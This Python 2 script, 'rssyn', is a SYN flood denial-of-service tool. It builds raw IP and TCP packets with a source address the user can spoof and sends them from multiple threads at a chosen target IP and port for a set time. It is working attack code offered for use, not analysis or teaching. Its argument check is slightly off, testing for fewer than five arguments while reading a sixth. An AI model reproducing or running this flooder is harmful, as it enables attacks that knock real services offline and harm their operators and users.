'''

    Syn flood program in python by Tequila/e

    credits to Silver Moon for base's of syn packets.

    r

    s

    s

    y

    n

''' 

# some imports

import socket, sys, os

import threading

import time

import thread

from struct import *

if len(sys.argv) < 5:

    print("Usage: python rssyn.py <source ip> <destination ip> <destination port> <amount of threads> <time>");

    sys.exit();

# checksum functions needed for calculation checksum

def checksum(msg):

    s = 0

    # loop taking 2 characters at a time

    for i in range(0, len(msg), 2):

        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )

        s = s + w

    s = (s>>16) + (s & 0xffff);

    #s = s + (s >> 16);

    #complement and mask to 4 byte short

    s = ~s & 0xffff

    return s

#create a raw socket

try:

    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

except socket.error , msg:

    print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message: ' + msg[1]

    sys.exit()

# tell kernel not to put in headers, since we are providing it

s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# now start constructing the packet

packet = '';

source_ip = sys.argv[1]

dest_ip = sys.argv[2] # or socket.gethostbyname('www.google.com')

threads = sys.argv[4]

run_time_in_seconds = sys.argv[5]

os.system('clear')

print "##"

print "#    r    #"

print "#    s    #"

print "#    s    #"

print "#    y    #"

print "#    n    #"

print "#    Flood    #"

print "#    Made by e    #"

print "##"

# ip header fields

ihl = 5

version = 4

tos = 0

tot_len = 20 + 20   # python seems to correctly fill the total length, dont know how ??

id = 54321  #Id of this packet

frag_off = 0

ttl = 255

protocol = socket.IPPROTO_TCP

check = 10  # python seems to correctly fill the checksum

saddr = socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to

daddr = socket.inet_aton ( dest_ip )

ihl_version = (version << 4) + ihl

# the ! in the pack format string means network order

ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)

# tcp header fields

source = 1234   # source port

dest = int(sys.argv[3])   # destination port

seq = 0

ack_seq = 0

doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes

#tcp flags

fin = 0

syn = 1

rst = 0

psh = 0

ack = 0

urg = 0

window = socket.htons (5840)    #   maximum allowed window size

check = 0

urg_ptr = 0

offset_res = (doff << 4) + 0

tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)

# the ! in the pack format string means network order

tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)

# pseudo header fields

source_address = socket.inet_aton( source_ip )

dest_address = socket.inet_aton(dest_ip)

placeholder = 0

protocol = socket.IPPROTO_TCP

tcp_length = len(tcp_header)

psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);

psh = psh + tcp_header;

tcp_checksum = checksum(psh)

# make the tcp header again and fill the correct checksum

tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)

# final full packet - syn packets dont have any data

packet = ip_header + tcp_header

#Send the packet finally - the port specified has no effect

print "Starting rssyn flood on " + str(dest_ip) + ":" + str(dest) + " from " + str(source_ip)

print "With " + str(threads) + " threads for " + str(run_time_in_seconds) + " seconds." 

start_time = time.time()

global spawned_threads

spawned_threads = []

spawned = 0

total_packets = 0

def sendPackets():

    while (time.time() - start_time) < int(run_time_in_seconds):

        s.sendto(packet, (dest_ip , 0 ))

        global total_packets

        total_packets += 1

        print str(total_packets) + " Packets sent to " + dest_ip + "\r\n"

while (spawned < int(threads)):

    c = threading.Thread(target=sendPackets)

    spawned_threads.append(c)

    spawned += 1

for Threader in spawned_threads:

    Threader.start()

    print str(Threader) + " Started"

for Threads in spawned_threads:

    Threads.join()

print "All threads have finished flooding for " + run_time_in_seconds + " seconds.."

print "Flood stopping.."

print "Shutting Down"